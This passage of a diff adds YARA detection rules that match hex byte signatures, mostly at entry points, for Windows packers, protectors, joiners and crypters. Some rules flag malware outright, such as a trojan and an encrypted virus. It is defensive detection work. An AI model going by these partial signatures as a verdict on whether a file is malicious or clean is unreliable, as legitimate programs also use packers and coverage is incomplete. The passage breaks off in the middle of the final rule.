+{
+	meta:
+		description = "DJoin v0.7 public (xor encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PE_Lock_NT_204__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PE Lock NT 2.04) -> emadicius"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v138_
+{
+	meta:
+		description = "EXE32Pack v1.38"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_12B__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.2B -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
+	condition:
+		$0
+}
+rule _RLPack_v118_Basic_DLL_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [LZMA] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.01 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v02_
+{
+	meta:
+		description = "Krypton v0.2"
+	strings:
+		$0 = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_12__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.2 -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+	condition:
+		$0
+}
+rule _Unnamed_Scrambler_11C__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.1C -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+	condition:
+		$0
+}
+rule _FreeJoiner_Small_build_029__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 029) -> GlOFF"
+	strings:
+		$0 = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+		$1 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+		$2 = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+		$3 = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+		$4 = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+		$5 = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+		$6 = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+		$7 = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+		$8 = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$9 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9 at entrypoint
+}
+rule _kryptor_5_
+{
+	meta:
+		description = "kryptor 5"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector__vcasm_
+{
+	meta:
+		description = "VProtector -> vcasm"
+	strings:
+		$0 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C}
+		$1 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+		$2 = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
+	condition:
+		$0 or $1 or $2
+}
+rule _JDPack_V200__JDPack_
+{
+	meta:
+		description = "JDPack V2.00 -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_V11x__Randy_Li_
+{
+	meta:
+		description = "SDProtector V1.1x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Fish_PE_Shield_112116__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.12/1.16 -> HellFish"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+		$1 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _ENIGMA_Protector_V112_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.12-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_020_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.20 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VOB_ProtectCD_5__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VOB ProtectCD 5] --> Anorganix"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1000V1800_Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.0.0-V1.8.0.0-> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PCGuard_403415__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PCGuard 4.03-4.15) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v271_
+{
+	meta:
+		description = "EXE Stealth v2.71"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)"
+	strings:
+		$0 = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+	condition:
+		$0 at entrypoint
+}
+rule _Reflexive_Arcade_Wrapper_
+{
+	meta:
+		description = "Reflexive Arcade Wrapper"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Warning_may_be_SimbyOZ_polycryptor_by_3xpl01t_ver_2xx_25032007_2200_
+{
+	meta:
+		description = "Warning! may be SimbyOZ polycryptor by 3xpl01t ver 2.xx (25.03.2007 22:00)"
+	strings:
+		$0 = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PassEXE_v20_
+{
+	meta:
+		description = "PassEXE v2.0"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108x__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.x -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v40_
+{
+	meta:
+		description = "Crunch v4.0"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V037__Dwing_
+{
+	meta:
+		description = "Upack V0.37 -> Dwing"
+	strings:
+		$0 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00}
+		$1 = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+		$2 = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Copy_Protector_v20_
+{
+	meta:
+		description = "Copy Protector v2.0"
+	strings:
+		$0 = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _D1S1G_v11_Beta_pp_Scrambled_EXE__D1N_
+{
+	meta:
+		description = "D1S1G v1.1 Beta ++ Scrambled EXE -> D1N"
+	strings:
+		$0 = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+	condition:
+		$0
+}
+rule _North_Star_PE_Shrinker_13__Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker 1.3 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP 2.x Patcher --> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+	condition:
+		$0
+}
+rule _Vx_VCL_encrypted_
+{
+	meta:
+		description = "Vx: VCL (encrypted)"
+	strings:
+		$0 = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+		$1 = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_1X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _WinUpack_v039_final__By_Dwing_c2005_h1_
+{
+	meta:
+		description = "WinUpack v0.39 final -> By Dwing (c)2005 (h1)"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_DxPack_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DxPack 1.0] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v40_
+{
+	meta:
+		description = "Crunch/PE v4.0"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0
+}
+rule _Blade_Joiner_v15_
+{
+	meta:
+		description = "Blade Joiner v1.5"
+	strings:
+		$0 = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PKTINY_v10_with_TINYPROG_v38_
+{
+	meta:
+		description = "PKTINY v1.0 with TINYPROG v3.8"
+	strings:
+		$0 = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _nBinder_v40_
+{
+	meta:
+		description = "nBinder v4.0"
+	strings:
+		$0 = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+	condition:
+		$0
+}
+rule _WARNING__TROJAN__ADinjector_
+{
+	meta:
+		description = "WARNING -> TROJAN -> ADinjector"
+	strings:
+		$0 = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v01__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.1 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
